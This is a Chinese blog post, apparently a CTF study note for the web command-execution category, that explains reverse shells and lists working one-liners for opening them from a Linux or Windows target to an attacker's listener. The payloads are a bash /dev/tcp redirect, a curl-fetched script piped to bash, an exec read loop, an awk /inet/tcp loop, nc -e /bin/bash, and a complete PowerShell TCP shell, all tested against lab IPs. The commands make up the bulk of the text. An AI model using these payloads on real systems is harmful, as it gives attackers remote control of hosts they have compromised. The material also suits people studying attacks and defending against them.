zoukankan      html  css  js  c++  java
  • 20201116-web方向-命令执行

    反弹shell 的方式

    什么是反弹shell:

    简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。

    客户端连接服务端为正向连接(远程桌面、ssh等),反向连接弹shell(即反弹shell,攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)

    原理:

    让对方目标机器主动连接攻击者机器(攻击者指定服务端,受害者主机主动连接攻击者的服务端程序)

    1. 攻击者A开启1234端口TCP服务
    2. 受害者B连接1234端口TCP服务
    3. A、B建立TCP连接
    4. A通过TCP服务将待执行命令发送到B
    5. B执行命令后将结果发送给A

    1、bash反弹shell,适用于攻击目标为Linux系统

    bash一句话命令详解

    bash -i  :产生一个bash交互环境

    >&    : 将联合符号前面的内容与后面相结合然后一起重定向给后者

    /dev/tcp/192.168.1.1/8080  :Linux环境中所有的内容都是以文件形式存在的,其实大家一看见这个内容就明白。就是让主机与目标主机192.168.1.1:8080端口建立一个tcp连接。

    0>&1  :将标准的输入与标准输出内容相结合,然后重定向给前面标准的输出内容

    例子:

    在kali虚拟机中输入nc -lvp 1234,监听1234端口,kali作为攻击端

    在Ubuntu虚拟机中输入bash -i >& /dev/tcp/192.168.230.146/1234 0>&1

     再返回kali虚拟机中,会进入到被攻击者的用户下,此时就可以执行任何命令了。(会有网络延迟)

    例子2,侦听1234端口,攻击端不能获得shell,但可以查看被攻击端命令输出的内容

    攻击端开始侦听

      被攻击端输入命令,输出内容被重定向到攻击端,所以在本地输入命令无法查看结果

     

     结果在攻击端可以看到

     例子3,使用输入重定向,将攻击端输入的内容当做命令执行(执行一次就断)

    攻击端开始侦听端口

    被攻击端执行以下命令

     攻击端输入命令,被攻击端显示命令并执行(但是没有显示执行结果)

    被攻击端显示了命令但是没有显示结果

     

     例子4,为了获取交互式shell,需要使用文件描述符0>&1

    同样,先在攻击端侦听1234端口

    攻击端输入命令   nc -lvp 1234

    被供给端输入命令    bash -i > /dev/tcp/192.168.230.146/1234 0>&1

    然后在攻击端输入命令可以查看到执行结果,缺点是被攻击端也能看到攻击端输入的命令。

    攻击端:

     被攻击端:

     例子5,使用>& / &>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell

    攻击端输入命令   nc -lvp 1234

    被攻击端输入命令   bash -i &> /dev/tcp/192.168.230.146/1234 0>&1

    攻击端显示界面:输入命令后显示执行结果

     被攻击端显示界面:

     2、curl反弹shell

    适用对象目标为Linux系统

    攻击端启动HTTP服务,并在站点目录下存放一个文件,里面写着bash反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件)

     

    攻击端侦听端口,被攻击端输入命令后建立连接

     被攻击端输入命令   curl 192.168.230.147/reverse_shell|bash

    原理:间接使用bash,使用curl访问远程站点下文件,并使用管道符重定向到bash

    缺点:查看服务可以直接看到主机被攻陷

     3、exec 反弹shell     目标为Linux系统

    攻击端侦听1234端口

    被攻击端输入命令 exec 5<>/dev/tcp/192.168.230.147/1234;cat <&5 | while read line; do $line 2>&5 >&5; done

     攻击端查看状态,已成功,并可执行命令

     4、AWK弹shell    目标为Linux系统

    攻击端输入命令nc -lvp 1234 侦听1234端口

    被攻击端输入awk 'BEGIN {s = "/inet/tcp/0/192.168.230.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

    攻击端成功进入shell,并执行命令

    优点:长联,被攻击端一直保持向攻击端反弹shell状态

    退出后,只要被攻击端没有手动结束,则会一直保持状态,攻击端退出后,不用再次执行命令就可用nc重新连入shell

     5、netcat 反弹shell   (都需要安装netcat)

    攻击端输入nc -lvp 1234  进行侦听

    被攻击端输入nc -e /bin/bash 192.168.230.1 1234

    攻击端成功进入目标shell

    6、Windows反弹shell -- powershell

    攻击端输入nc -lvp 1234 侦听端口

    被攻击端输入powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.230.148',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

     

    攻击端成功进入Windows  shell环境

     

     7、python 反弹 shell

  • 相关阅读:
    或得最新的采购单号并改变为定长
    javaScript学习之路(1)词法结构
    如何让IE下载时下载内容自动跳转到迅雷等下载软件中
    简单的数据库查询操作
    1.1软件工程概述之软件危机
    SQL基础(巧记范式)
    给程序员的五点建议--如何成为编程高手并以此创业
    License控制解决方案
    MVC+三层+ASP.NET简单登录验证
    我曾七次鄙视自己的灵魂
  • 原文地址:https://www.cnblogs.com/lookmefly/p/13983867.html
Copyright © 2011-2022 走看看